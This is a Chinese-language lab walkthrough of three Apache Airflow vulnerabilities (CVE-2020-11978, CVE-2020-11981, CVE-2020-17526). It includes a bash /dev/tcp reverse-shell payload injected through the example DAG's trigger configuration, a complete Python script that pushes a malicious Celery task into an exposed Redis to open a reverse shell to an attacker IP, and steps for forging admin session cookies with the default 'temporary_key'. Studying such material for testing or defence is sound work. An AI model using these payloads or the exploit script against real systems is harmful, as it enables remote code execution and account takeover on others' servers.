Apache Airflow

# 初始化数据库

docker compose run airflow-init#

开启服务

Docker-compose up -d

必须要初始化数据库

访问ip:8080

Apache Airflow 示例dag中的命令注入（CVE-2020-11978）

Apache Airflow是 python 语言编写的一个以编程方式创作、安排和监控工作流程的平台。Airflow通过DAG（Directed acyclic graph 有向无环图）来管理任务流程的任务调度工具。Airflow除了一个命令行界面，还提供了一个基于 Web 的用户界面可以可视化管道的依赖关系、监控进度、触发任务等。

Apache Airflow<=1.10.10 在 Airflow 附带的一个示例DAG= example_trigger_target_dag允许任何经过身份验证的用户以运行Airflow工作程序/调度程序的用户身份运行任意命令。

默认情况下Airflow Web UI是未授权访问的，Airflow Web UI中提供了触发DAG运行的功能，以便测试DAG，而其中example_trigger_controller_dag和example_trigger_target_dag两个DAG组合起来触发命令注入，导致了漏洞产生。

如果在配置中设置 load_examples=False 禁用了示例，就不会受到攻击。

攻击机监听888端口

安装有airflow的服务器,打开example_trigger_target_dag==on

进入页面，点击Trigger DAG，进入到调试页面

{“message”:”‘\;bash -i >& /dev/tcp/192.168.1.4/888 0>&1;#”}

Apache Airflow Celery 消息中间件命令执行（CVE-2020-11981）

Apache Airflow是一款开源的，分布式任务调度框架。在其1.10.10版本及以前，如果攻击者控制了Celery的消息中间件（如Redis/RabbitMQ），将可以通过控制消息，在Worker进程中执行任意命令。

先pip install redis 或者用pip install rabbitmq,这里官方给的redis的exp

import pickle

import json

import base64

import redis

import sys

r = redis.Redis(host=sys.argv[1], port=6379, decode_responses=True,db=0)

queue_name = ‘default’

ori_str=”{\content-encoding\: \utf-8\, \properties\: {\priority\: 0, \delivery_tag\: \f29d2b4f-b9d6-4b9a-9ec3-029f9b46e066\, \delivery_mode\: 2, \body_encoding\: \base64\, \correlation_id\: \ed5f75c1-94f7-43e4-ac96-e196ca248bd4\, \delivery_info\: {\routing_key\: \celery\, \exchange\: \\}, \reply_to\: \fb996eec-3033-3c10-9ee1-418e1ca06db8\}, \content-type\: \application/json\, \headers\: {\retries\: 0, \lang\: \py\, \argsrepr\: \(100, 200)\, \expires\: null, \task\: \airflow.executors.celery_executor.execute_command\, \kwargsrepr\: \{}\, \root_id\: \ed5f75c1-94f7-43e4-ac96-e196ca248bd4\, \parent_id\: null, \id\: \ed5f75c1-94f7-43e4-ac96-e196ca248bd4\, \origin\: \gen1@132f65270cde\, \eta\: null, \group\: null, \timelimit\: [null, null]}, \body\: \W1sxMDAsIDIwMF0sIHt9LCB7ImNoYWluIjogbnVsbCwgImNob3JkIjogbnVsbCwgImVycmJhY2tzIjogbnVsbCwgImNhbGxiYWNrcyI6IG51bGx9XQ==\}”

task_dict = json.loads(ori_str)

command = [‘bash’, ‘-c’, ‘bash -i >& /dev/tcp/192.168.1.4/4444 0>&1’] //这这里改变payload

body=[[command], {}, {“chain”: None, “chord”: None, “errbacks”: None, “callbacks”: None}]

task_dict[‘body’]=base64.b64encode(json.dumps(body).encode()).decode()

print(task_dict)

r.lpush(queue_name,json.dumps(task_dict))

我在这里反弹shell了,我的攻击机ip是192.168.1.4,监听端口是4444

受害主机是192.168.213.150

然后cmd运行exp: py exploit_airflow_celery.py 192.168.213.150

Apache Airflow 默认密钥导致的权限绕过（CVE-2020-17526）

Apache Airflow是一款开源的，分布式任务调度框架。默认情况下，Apache Airflow无需用户认证，但管理员也可以通过指定webserver.authenticate=True来开启认证。

Apache Airflow是python语言编写的一个以编程方式创作、安排和监控工作流程的平台。

除了几个服务器端 python 脚本之外，它还有一个基于Flask编写的Web应用程序，该Web 应用程序使用Flask 的无状态签名 cookie 来存储和管理成功的身份验证。在安装过程中，可以使用Airflow命令创建用户，在文档中该用户是具有管理员角色的用户。任何后续用户都可以使用Airflow python 脚本从 Web 界面或命令行创建。

在其1.10.13版本及以前，即使开启了认证，攻击者也可以通过一个默认密钥来绕过登录，伪造任意用户。

由于使用默认安全密钥对身份验证信息进行签名，导致安全配置错误。当用户登录时，会设置一个名为session的 cookie ，其中包含 json 格式的用户认证信息。json 中名为user_id的密钥标识了登录的用户。此 json 使用在airflow.cfg配置文件中配置的字符串进行签名。在 1.10.15 和 2.0.2 版本之前，此字符串设置为temporary_key。官方文档和安装消息都没有说明更改此密钥。

默认密钥为temporary_key造成的问题：

攻击者可以创建与目标相同版本的本地安装，以管理员身份登录并将会话cookie重播到目标以在远程计算机上以管理员身份登录。

在这种情况下，可以使用工具来解密和识别明文 json 字符串，然后更新user_id参数并将 cookie 重新发送到服务器以模拟指定了user_id的用户。

curl -v url：显示url的整个响应过程

flask-unisign解释：上文提到web程序是基于Flask编写，Flask cookie 是经过签名而不是加密的，因此获得会话 cookie 后，可以尝试暴力破解服务器的密钥。